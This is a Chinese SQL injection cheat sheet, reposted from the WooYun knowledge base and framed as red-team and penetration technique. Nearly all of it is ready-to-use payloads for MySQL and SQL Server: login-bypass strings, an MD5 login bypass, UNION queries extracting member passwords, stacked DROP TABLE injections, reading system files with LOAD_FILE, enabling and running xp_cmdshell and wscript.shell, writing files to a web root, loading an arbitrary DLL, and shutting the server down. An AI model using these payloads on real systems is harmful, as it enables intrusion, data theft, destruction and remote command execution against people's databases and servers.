SQL注入速查表

转载于乌云知识库 乌雲安全 3天前

收录于话题
#sql注入 1 #红队技巧 1 #渗透技巧 14 #web安全 15

0x00 关于SQL注入速查表

现在仅支持MySQL、Microsoft SQL Server，以及一部分ORACLE和PostgreSQL。大部分样例都不能保证每一个场景都适用。现实场景由于各种插入语、不同的代码环境以及各种不常见甚至奇特的SQL语句，而经常发生变化。

样例仅用于读者理解对于“可能出现的攻击(a potential attack)”的基础概念，并且几乎每一个部分都有一段简洁的概要

- M: MySQL
- S: SQL Server
- P: PostgreSQL
- O: Oracle
- +: (大概)其他所有数据库

例子:

- (MS) 代表 : MySQL 和 SQL Server 等
- (M*S) 代表 : 仅对某些版本或者某些附在后文中的特殊情况的 MySQL，以及SQL Server

0x01 目录

p. 绕过MD5哈希检查的例子(MSP)

q. UNION-语言问题处理

r. 使用了16进制的注入攻击样例

s. 字符串的串联

t. MySQL的If语句

u. SQL Server的If语句

v. 使用了If语句的注入攻击样例

w. 支持堆叠查询的语言/数据库

x. 关于MySQL和PHP

y. 堆叠注入攻击样例

z. 使用了行内注释的注入攻击样例

aa. MySQL版本探测攻击样例

ab. 使用了行间注释的SQL注入攻击样例

ac. 行间注释

ad. 行内注释

ae. 堆叠查询(Stacking Queries)

af. If语句

ag. 整数(Integers)的使用

ah. 字符串操作

ai. 没有引号的字符串

aj. 字符串异化(Modification)与联系

ak. Union注入

al. 绕过登陆界面(SMO+)

am. 绕过检查MD5哈希的登陆界面

an. 基于错误(Error Based)-探测字段名

ao. 数据类型、UNION、之类的

ap. 简单的注入(MSO+)

aq. 有用的函数、信息收集、内置程序、大量注入笔记

ar. 在SQL Server 2005中启用xp_cmdshell

as. 探测SQL Server数据库的结构(S)

at. 移动记录(Moving records)(S)

au. 快速的脱掉基于错误(Error Based)的SQL Server注入(S)

0x02 语法参考，攻击样例以及注入小技巧

行间注释

注释掉查询语句的其余部分

行间注释通常用于注释掉查询语句的其余部分，这样你就不需要去修复整句语法了。

- `--` (SM)

  ```
  DROP sampletable;--
  ```

- `#` (M)

  ```
  DROP sampletable;#
  ```

使用了行间注释的SQL注入攻击样例

> 用户名: `admin'--`

- 构成语句: `SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'` 这会使你以admin身份登陆，因为其余部分的SQL语句被注释掉了。

行内注释

通过不关闭注释注释掉查询语句的其余部分，或者用于**绕过过滤**，移除空格，混淆，或探测数据库版本。

- `/*注释内容*/` (SM)
  - `DROP/*comment*/sampletable`
  - `DR/**/OP/*绕过过滤*/sampletable`
  - `SELECT/*替换空格*/password/**/FROM/**/Members`
- `/*! MYSQL专属 */` (M)

  这是个MySQL专属语法。非常适合用于探测MySQL版本。如果你在注释中写入代码，只有MySQL才会执行。同样的你也可以用这招，使得只有高于某版本的服务器才执行某些代码。 `SELECT /*!32302 1/0, */ 1 FROM tablename`

使用了行内注释的注入攻击样例

> ID: `10; DROP TABLE members /*`

简单地摆脱了处理后续语句的麻烦，同样你可以使用`10; DROP TABLE members --`

MySQL版本探测攻击样例

> `SELECT /*!32302 1/0, */ 1 FROM tablename`

如果MySQL的版本高于**3.23.02**，会抛出一个`division by 0 error`

> ID: `/*!32302 10*/`
>
> ID: `10`

如果MySQL版本高于3.23.02，以上两次查询你将得到相同的结果

堆叠查询(Stacking Queries)

一句代码之中执行多个查询语句，这在每一个注入点都非常有用，尤其是使用SQL Server后端的应用

- `;`(S) `SELECT * FROM members; DROP members--` 结束一个查询并开始一个新的查询

支持堆叠查询的语言/数据库

绿色：支持，**暗灰色**：不支持，**浅灰色**：未知

关于MySQL和PHP

阐明一些问题。

PHP-MySQL不支持堆叠查询，Java不支持堆叠查询（ORACLE的我很清楚，其他的就不确定了）。一般来说MySQL支持堆叠查询，但由于大多数PHP-Mysql应用框架的数据库层都不能执行第二条查询，或许MySQL的客户端支持这个，我不确定，有人能确认一下吗?

（译者注：MySQL 5.6.20版本下客户端支持堆叠查询）

堆叠注入攻击样例

> ID: `10;DROP members --`

构成语句：`SELECT * FROM products WHERE id = 10; DROP members--`

这在执行完正常查询之后将会执行DROP查询。

If语句

根据If语句得到响应。这是**盲注(Blind SQL Injection)的关键之一**，同样也能简单而**准确地**进行一些测试。

MySQL的If语句

- `IF(condition,true-part,false-part)` (M)

> `SELECT IF (1=1,'true','false')`

SQL Server的If语句

- `IF condition true-part ELSE false-part` (S)

> `IF (1=1) SELECT 'true' ELSE SELECT 'false'`

使用了If语句的注入攻击样例

> `if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0` (S)

如果当前用户不是**"sa"或者"dbo"**,就会抛出一个`divide by zero error`。

整数(Integers)的使用

对于绕过十分有用，比如**magic_quotes() 和其他类似过滤器**，甚至是各种WAF。

- `0xHEXNUMBER` (SM)

(HEXNUMBER:16进制数) 你能这样使用16进制数:

- `SELECT CHAR(0x66)` (S)
- `SELECT 0x5045` (M) (这不是一个整数，而会是一个16进制字符串)
- `SELECT 0x50 + 0x45` (M) (现在这是整数了)

字符串操作

与字符串相关的操作。这对于构造一个不含有引号，用于绕过或探测数据库都非常的有用。

字符串的串联

- `+` (S)

  ```
  SELECT login + '-' + password FROM members
  ```

- `||` (*MO)

  ```
  SELECT login || '-' || password FROM members
  ```

***关于MySQL的"||"** 这个仅在ANSI模式下的MySQL执行，其他情况下都会当成'逻辑操作符'并返回一个0。更好的做法是使用`CONCAT()`函数。

- `CONCAT(str1, str2, str3, ...)` (M)

  连接参数里的所有字符串 例：`SELECT CONCAT(login, password) FROM members`

没有引号的字符串

有很多使用字符串的方法，但是这几个方法是一直可用的。使用`CHAR()`(MS)和`CONCAT()`(M)来生成没有引号的字符串

- `0x457578` (M) - 16进制编码的字符串

  `SELECT 0x457578`

  这在MySQL中会被当做字符串处理

- 在MySQL中使用16进制字符串的一个简单方式：`SELECT CONCAT('0x',HEX('c:\\boot.ini'))`
- 在MySQL中使用`CONCAT()`函数：`SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))` (M)

  这会返回'KLM'

- `SELECT CHAR(75)+CHAR(76)+CHAR(77)` (S)

  这会返回'KLM'

使用了16进制的注入攻击样例

- `SELECT LOAD_FILE(0x633A5C626F6F742E696E69)` (M)

  这会显示**c:\boot.ini**的内容

字符串异化(Modification)与联系

- `ASCII()` (SMP)

  返回最左边字符的ASCII码的值。这是一个用于盲注的重要函数。

例：`SELECT ASCII('a')`

- `CHAR()` (SM)

  把整数转换为对应ASCII码的字符

  例：`SELECT CHAR(64)`

Union注入

通过union你能跨表执行查询。最简单的，你能注入一个查询使得它返回另一个表的内容。`SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members`

这会把news表和members表的内容合并返回。

另一个例子：`' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--`

UNION-语言问题处理

当你使用Union来注入的时候，经常会遇到一些错误，这是由于不同的语言的设置（表的设置、字段设置、表或数据库的设置等等）。这些办法对于解决那些问题都挺有用的，尤其是当你处理日文，俄文，土耳其文的时候你会就会见到他们的。

- 使用 `COLLATE SQL_Latin1_General_Cp1254_CS_AS` (S)

  或者其它的什么语句，具体的自己去查SQL Server的文档。例：`SELECT header FROM news UNION ALL SELECT name COLLATE SQL_Latin1_General_Cp1254_CS_AS FROM members`

- `Hex()` (M)

百试百灵~

绕过登陆界面(SMO+)

SQL注入101式(大概是原文名字吧？),登陆小技巧

- `admin' --`
- `admin' #`
- `admin'/*`
- `' or 1=1--`
- `' or 1=1#`
- `' or 1=1/*`
- `') or '1'='1--`
- `') or ('1'='1--`
- ....
- 以不同的用户登陆 (SM*) `' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--`

**旧版本的MySQL不支持union*

绕过检查MD5哈希的登陆界面

如果应用是先通过用户名，读取密码的MD5，然后和你提供的密码的MD5进行比较，那么你就需要一些额外的技巧才能绕过验证。你可以把一个已知明文的MD5哈希和它的明文一起提交，使得程序不使用从数据库中读取的哈希，而使用你提供的哈希进行比较。

绕过MD5哈希检查的例子(MSP)

> 用户名：`admin`
>
> 密码：`1234 ' AND 1=0 UNION ALL SELECT 'admin','81dc9bdb52d04dc20036dbd8313ed055`

其中`81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)`

基于错误(Error Based)-探测字段名

使用`HAVING`来探测字段名(S)

- `' HAVING 1=1 --`
- `' GROUP BY table.columnfromerror1 HAVING 1=1 --`
- `' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 --`
- ……
- `' GROUP BY table.columnfromerror1, columnfromerror2,columnfromerror(n) HAVING 1=1 --`
- 直到它不再报错，就算搞定了

在`SELECT`查询中使用`ORDER BY`探测字段数(MSO+)

通过ORDER BY来探测字段数能够加快union注入的速度。

- `ORDER BY 1--`
- `ORDER BY 2--`
- ……

- `ORDER BY N--`
- 一直到它报错为止，最后一个成功的数字就是字段数。

数据类型、UNION、之类的

提示：

- 经常给**UNION**配上**ALL**使用，因为经常会有相同数值的字段，而缺省情况下UNION都会尝试返回唯一值(records with distinct)
- 如果你每次查询只能有一条记录，而你不想让原本正常查询的记录占用这宝贵的记录位，你可以使用`-1`或者根本不存在的值来搞定原查询（前提是注入点在WHERE里）。
- 在UNION中使用NULL，对于大部分数据类型来说这样都比瞎猜字符串、日期、数字之类的来得强
  - 盲注的时候要小心判断错误是来自应用的还是来自数据库的。因为像ASP.NET就经常会在你使用NULL的时候抛出错误（因为开发者们一般都没想到用户名的框中会出现NULL）

获取字段类型

- `' union select sum(columntofind) from users--` (S)

  `Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a **varchar** data type as an argument.` 如果没有返回错误说明字段是**数字类型**

- 同样的，你可以使用`CAST()`和`CONVERT()`
  - `SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL--`
- `11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 --`

没报错 - 语法是正确的。这是MS SQL Server的语法。继续。

- `11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 --`

  没报错 – 第一个字段是`integer`类型。

- `11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 --`

  报错 – 第二个字段不是`integer`类型

- `11223344) UNION SELECT 1,'2',NULL,NULL WHERE 1=2 --`

  没报错 – 第二个字段是`string`类型。

- `11223344) UNION SELECT 1,'2',3,NULL WHERE 1=2 --`

  报错 – 第三个字段不是`integer`

- ……

  `Microsoft OLE DB Provider for SQL Server error '80040e07' Explicit conversion from data type int to image is not allowed.`

你在遇到union错误之前会先遇到convert()错误，所以先使用convert()再用union

简单的注入(MSO+)

```
'; insert into users values( 1, 'hax0r', 'coolpass', 9 )/*
```

有用的函数、信息收集、内置程序、大量注入笔记

`@@version`(MS)

数据库的版本。这是个常量，你能把它当做字段来SELECT，而且不需要提供表名。同样的你也可以用在INSERT/UPDATE语句里面，甚至是函数里面。

```
INSERT INTO members(id, user, pass) VALUES(1, ''+SUBSTRING(@@version,1,10) ,10)
```

文件插入(Bulk Insert)(S)

把文件内容插入到表中。如果你不知道应用目录你可以去**读取IIS metabase file**(仅IIS 6)(%systemroot%\system32\inetsrv\MetaBase.xml)然后在里面找到应用目录。

1. 新建一个表foo(`line varchar(8000)`)
2. `BULK INSERT foo FROM 'c:\inetpub\wwwroot\login.asp'`
3. DROP了临时表，重复另一个文件

BCP(S)

写入文件。这个功能需要登录 `bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar`

SQL Server的VBS/WSH(S)

由于ActiveX的支持，你能在SQL Server中使用VBS/WSH

```
declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
```

> Username: `'; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --`

执行系统命令，xp_cmdshell(S)

众所周知的技巧，SQL Server 2005默认是关闭的。你需要admin权限

```
EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:'
```

用ping简单的测试一下，用之前先检查一下防火墙和嗅探器。

```
EXEC master.dbo.xp_cmdshell 'ping '
```

如果有错误，或者union或者其他的什么，你都不能直接读到结果。

SQL Server中的一些特殊的表(S)

- Error Messages

  `master..sysmessages`

- Linked Servers

  `master..sysservers`

- Password (2000和2005版本的都能被破解，这俩的加密算法很相似)

  SQL Server 2000: masters..sysxlogins

SQL Server 2005 : sys.sql_logins

SQL Server的其它内置程序(S)

1. 命令执行 (xp_cmdshell)

```
exec master..xp_cmdshell 'dir'
```

2. 注册表操作 (xp_regread)

   a. xp_regaddmultistring

   b. xp_regdeletekey

   c. xp_regdeletevalue

   d. xp_regenumkeys

   e. xp_regenumvalues

   f. xp_regread

   g. xp_regremovemultistring

   h. xp_regwrite

```
exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet \Services\lanmanserver\parameters', 'nullsessionshares' exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM \CurrentControlSet \Services\snmp\parameters\validcommunities'
```

3. 管理服务(xp_servicecontrol)

4. 媒体(xp_availablemedia)

5. ODBC 资源 (xp_enumdsn)
6. 登录 (xp_loginconfig)
7. 创建Cab文件 (xp_makecab)
8. 域名列举 (xp_ntsec_enumdomains)
9. 杀进程 (need PID) (xp_terminate_process)
0. 新建进程 (实际上你想干嘛都行)

```
sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’ exec xp_webserver
```

11. 写文件进UNC或者内部路径 (sp_makewebtask)

大量MSSQL笔记

```
SELECT * FROM master..sysprocesses /*WHERE spid=@@SPID*/
```

```
DECLARE @result int; EXEC @result = xp_cmdshell 'dir *.exe';IF (@result = 0) SELECT 0 ELSE SELECT 1/0
```

HOST_NAME() IS_MEMBER (Transact-SQL)
IS_SRVROLEMEMBER (Transact-SQL)
OPENDATASOURCE (Transact-SQL)

```
INSERT tbl EXEC master..xp_cmdshell OSQL /Q"DBCC SHOWCONTIG"
```

OPENROWSET (Transact-SQL) - http://msdn2.microsoft.com/en-us/library/ms190312.aspx

你不能在 SQL Server 的Insert查询里使用子查询(sub select).

使用LIMIT(M)或ORDER(MSO)的注入

```
SELECT id, product FROM test.test t LIMIT 0,0 UNION ALL SELECT 1,'x'/*,10 ;
```

如果注入点在LIMIT的第二个参数处，你可以把它注释掉或者使用union注入。

关掉SQL Server(S)

如果你真的急了眼，`';shutdown --`

在SQL Server 2005中启用xp_cmdshell

默认情况下，SQL Server 2005中像xp_cmdshell以及其它危险的内置程序都是被禁用的。如果你有admin权限，你就可以启动它们。

`` `\ `` EXEC sp_configure 'show advanced options',1 RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1 RECONFIGURE `` `\ ``

探测SQL Server数据库的结构(S)

获取用户定义表

```
SELECT name FROM sysobjects WHERE xtype = 'U'
```

获取字段名

```
SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'tablenameforcolumnnames')
```

移动记录(Moving records)(S)

- 修改WHERE，使用**NOT IN**或者**NOT EXIST** `... WHERE users NOT IN ('First User', 'Second User')` `SELECT TOP 1 name FROM members WHERE NOT EXIST(SELECT TOP 0 name FROM members)` -- 这个好用

- 脏的不行的小技巧

  `SELECT * FROM Product WHERE ID=2 AND 1=CAST((Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE i.id<=o.id) AS x, name from sysobjects o) as p where p.x=3) as int`

  `Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21`

快速的脱掉基于错误(Error Based)的SQL Server注入(S)

`';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @[email protected]+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--`

推荐阅读

扫描关注乌云安全

喜欢此内容的人还喜欢

Linux 提权总结

HACK之道

Redis 面霸篇：从高频问题透视核心原理

云时代架构

如何抓取页面中可能存在 SQL 注入的链接

信安之路